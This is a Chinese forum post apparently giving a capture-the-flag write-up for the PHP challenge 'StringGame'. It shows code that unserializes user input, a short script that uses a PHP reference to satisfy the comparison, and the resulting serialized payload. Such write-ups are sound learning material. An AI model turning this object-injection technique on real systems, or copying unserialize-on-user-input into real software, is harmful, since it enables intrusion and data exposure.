柒月 发表于 2021-6-10 22:19:18

S、tringGame

本帖最后由 柒月 于 2021-6-10 22:44 编辑

进入题目后发现页面一片空白,所以想到f12看源码,看是否能有所发现。。。
f12后发现一段php代码

<?php>
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
      $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
      $o->secret = "*";
      if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$flag;
      else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

经过粗略的学习php语言,勉强能看懂代码意思,以下是个人对代码的理解:
          这段代码的意思定义了一个类函数just4fun,如果以get方式传参,则将变量pass传参获取的值赋值给变量pass,如果能获取当前magic_quotes_gpc的配置选项设置,则删除变量pass中的反斜杠,将变量pass的数据反序列化后赋值给变量o,如果变量o类型里secret和enter的数据和类型都相等就输出变量flag的值。

根据代码写出payload

<?php
class just4fun {
    var $enter;
    var $secret;
}
$o = new just4fun;
$o->enter = &$o->secret;
echo serialize($o);
?>


得出反序列化数值:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
以get形式传参得出flag。。。



whoamiyy 发表于 2022-10-18 17:45:50

good111111111111111111
页: [1]
查看完整版本: S、tringGame